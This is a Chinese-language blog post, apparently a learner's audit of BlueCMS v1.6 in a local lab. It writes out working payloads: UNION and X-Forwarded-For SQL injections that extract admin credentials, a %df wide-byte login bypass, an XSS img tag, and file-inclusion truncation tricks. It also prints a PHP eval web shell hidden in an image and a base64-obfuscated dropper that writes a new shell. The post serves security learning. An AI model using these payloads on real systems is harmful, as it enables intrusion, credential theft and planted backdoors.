源碼在網上很容易下載,不少教程說訪問地址 http://localhost/bluecms_v1.6_sp1/uploads/install/ 就會進入到安裝界面。這裏我遇到了一點小問題,訪問地址後顯示空白,沒法進行安裝,解決方式是 phpstudy 打開容許目錄列表,而且在 bluecms_v1.6_sp1\uploads\install\compile 目錄下刪掉圖中 php 文件,再訪問一次安裝地址就能夠了,而後按照提示進行數據庫配置便可成功搭建。php
用Seay源代碼審計系統掃一下,能夠發現有不少可能的漏洞,有一些誤報,具體審計一下代碼吧,先看一下 ad_js.php 文件html
定位到該條語句前端
getone() 是自定義的查詢數據庫的函數,跟進一下,能夠看到插入到數據庫查詢語句中的 $ad_id 除了 trim 去掉兩邊空格沒有任何的過濾,於是致使了數字型SQL注入,雖然 ad_js.php 還包含了 common.inc.php 文件,common.inc.php 進行了 addslashes($_GET) 轉義,可是因爲SQL語句中的變量沒有使用單引號保護,addslashes 也同時失去了做用mysql
function getone($sql, $type=MYSQL_ASSOC){ $query = $this->query($sql,$this->linkid); $row = mysql_fetch_array($query, $type); return $row; }
利用一下這個漏洞,由於方法很常規就只注入到列出表名linux
http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 order by 7 http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,7//頁面空白,查看源碼發現打印第7列 http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,database() http://192.168.25.130/bluecms_v1.6_sp1/uploads/ad_js.php?ad_id=-1 UNION SELECT 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
接着查看 Seay 掃到的可疑注入點,看一下 /uploads/include/common.fun.php 代碼git
$ip 的值從 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等變量中得到,HTTP_CLIENT_IP 這個環境變量沒有成標準,不少服務器無法獲取。而第二個 HTTP_X_FORWARDED_FOR 能夠經過 HTTP 請求頭來修改github
/** * 獲取用戶IP */ function getip(){ if (getenv('HTTP_CLIENT_IP')){ $ip = getenv('HTTP_CLIENT_IP'); }elseif (getenv('HTTP_X_FORWARDED_FOR')) { //獲取客戶端用代理服務器訪問時的真實ip 地址 $ip = getenv('HTTP_X_FORWARDED_FOR'); }elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED'); }elseif (getenv('HTTP_FORWARDED_FOR')){ $ip = getenv('HTTP_FORWARDED_FOR'); }elseif (getenv('HTTP_FORWARDED')){ $ip = getenv('HTTP_FORWARDED'); }else{ $ip = $_SERVER['REMOTE_ADDR']; } return $ip; }
全局搜索一下這個函數,除了函數定義之外一共有兩處sql
查看 comment.php 代碼,getip() 獲取到的 $ip,直接插入到了SQL語句中,沒有過濾就執行了,這裏是存在SQL注入的。數據庫
利用一下這個漏洞,從 comment.php 代碼能夠推斷出,SQL注入出如今對文章進行評論的地方。在模擬發佈文章時出現一點問題,發佈文章時必定選擇新聞分類,可是管理員和普通用戶都不能建立分類,只好先把限制分類不能爲空的代碼註釋掉。windows
首頁->會員中心->本地新聞->發佈新聞(這裏發現寫中文內容的話會顯示爲空,因此測試內容都須要寫英文),先評論測試一下,看一下數據表記錄的字段默認值
顯然回顯的位置在 content 字段,因此能夠構造 X-Forwarded-For 值注入,先補充前一次查詢的 ip 和 is_check 字段完成第一次插入,再構造第二次插入,同時要注意閉合本來語句中的單引號。評論時進行抓包改包,能夠看到成功注入而且在評論列表有回顯,查到數據庫是 bluecms,直接查一下管理員用戶名及密碼哈希值也能夠成功獲取。
X-Forwarded-For: 1','1' ),("",'2','2','1','6',(database()),'1','1 X-Forwarded-For: 1','1' ),("",'2','2','1','6',(select concat(admin_name,":",pwd) from blue_admin),'1','1
這樣插入完成後的完整 sql 語句是,顯然這裏的 ip 字段也能夠控制,能夠在注入的同時達到僞造 ip 的效果
$sql = INSERT INTO ".table('blue_comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','2','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";
再從全局搜索看 getip() 函數出現的另外一處 common.inc.php,getip() 賦值給變量 $online_ip,再全局搜索這個變量,發如今留言板界面變量也是沒有通過過濾,直接插入查詢語句,存在SQL注入
利用一下漏洞,測試時發現不管是否留言都會彈出留言內容不能爲空,修改前端代碼註釋掉這個函數,路徑是 bluecms_v1.6_sp1\uploads\templates\default\guest_book.htm
由於顯然回顯位置在 content 字段,因此構造一次插入語句就能夠了,能夠看到成功注出數據庫
X-Forwarded-For: 1',database())-- -
在 common.inc.php 中注意到數據庫編碼使用的是 gb2312,這有可能致使寬字節注入
找到管理員登陸的 bluecms_v1.6_sp1\uploads\admin\login.php,發現驗證用戶帳號密碼的函數爲 check_admin
在 bluecms_v1.6_sp1\uploads\admin\include\common.fun.php 文件中找到了 check_admin 函數定義,SQL語句變量使用單引號保護,可是 getone() 函數在2.1小節已經分析過了,沒有任何的過濾
function check_admin($name, $pwd) { global $db; $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')"); if($row['num'] > 0) { return true; } else { return false; } }
而且 login.php 還包含了 bluecms_v1.6_sp1\uploads\admin\include\common.inc.php,這裏是將 $_POST 數據進行 addslashes 轉義的,恰好能夠利用 %df 讓轉義的反斜線失去做用
if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); }
利用一下漏洞,成功以管理員身份登陸(注意直接在瀏覽器輸入 %df 會被 urlencode,因此應該抓包發送)
在 user.php 文件,用戶發佈新聞功能,發現 content 沒有使用 htmlspecialchars() 函數,而是 filter_data(),跟蹤看一下,在 /uploads/include/common.fun.php 找到函數定義代碼,只過濾了 script,iframe,frame,meta,link 等,這裏能夠用 a,img 等標籤繞過
function filter_data($str) { $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str); return $str; }
利用一下漏洞,由於前端代碼還會過濾一些敏感字符,因此因此不直接提交攻擊代碼,抓包修改 payload,能夠看到漏洞利用成功
<img src="" onerror="alert(123456)">
在 user.php 中,很明顯 $act == 'do_login' 是登陸功能,看到有一個 $from 變量,再結合登陸成功後顯示回到該變量指向參數,能夠猜想這個 $from 保存來源 url,方便用戶登錄後回到原來瀏覽的頁面
全局搜索 $from 並無被其餘函數過濾,直接利用一下(注意 $from 應該和源代碼同樣 base64 加密),將 http://www.baidu.com 編碼爲 aHR0cDovL3d3dy5iYWlkdS5jb20= 改包放包後能夠看到頁面成功跳轉到百度
user.php 的支付功能,能夠經過 $_POST['pay'] 控制文件包含的路徑,可是後面拼接了 /index.php
有兩種方式能夠截斷
繞過方法1:%00 截斷
條件:magic_quotes_gpc = Off,PHP版本<5.3.4
繞過方法2:路徑長度截斷
條件:windows 下目錄路徑最大長度爲256字節,超出部分將丟棄;linux 下目錄最大長度爲4096字節,超出長度將丟棄;PHP版本<5.2.8
因爲本地搭建版本是5.4.45,降到 5.2.17 測試一下這個漏洞,這裏包含的時候遇到個小問題,注意它的路徑是 include 'include/payment/'.$_POST['pay']."/index.php"; 是找這個的相對路徑不是 user.php 的
我的資料中能夠上傳我的頭像,上傳一個內容爲 <?php @eval($_POST['apple']);?> 的 hack.jpg,再查看下路徑
文件包含圖片馬成功
還看到其餘方法,在圖片中插入從新寫入一個馬 apple.php 的代碼,這樣生成新馬後蟻劍管理起來會比圖片馬方便不少
<?php @fputs(fopen(base64_decode('YXBwbGUucGhw'),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydhcHBsZSddKTs/Pg=='));?>
包含一下,看到目錄下成功生成木馬 apple.php
user.php 的編輯我的資料功能,直接調用 unlink 函數刪除 $_POST['face_pic3'],沒有進行相應的檢查,存在任意文件刪除漏洞
利用一下漏洞,抓包修改 act=edit_user_info ,post 添加 face_pic3,成功刪除2.7小節寫入的木馬 apple.php
第一次嘗試作cms審計,同種利用方式的漏洞只寫了一處,還有一些漏洞沒有一一列舉出來。bluecms 算是一次入門級的復現加一些本身的思考吧,但願這篇隨筆能夠在理清本身思路的同時幫助到像我同樣的初學者。
此次 cms 審計學習到審計工具存在一些誤報,不能過分依賴。跟蹤用戶輸入、查看變量的傳遞過程,發現一些問題時回溯變量,或者直接挖掘功能點的漏洞,對個別文章進行通讀,全局搜索易發生漏洞的函數,按照經驗直接測試一些常見的漏洞都是頗有效的方法。
還有,讀着前輩的代碼想起本身上學期的數據庫課設,先後端寫在一塊兒,邏輯沒有這麼清晰,也沒注意安全方面。這份代碼雖然陌生,可是邏輯和功能都很明確,很快就能夠明白開發者的思路,下次再有機會作PHP開發要好好借鑑經驗啦.
參考:
https://blog.szfszf.top/tech/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-bluecms-v1-6/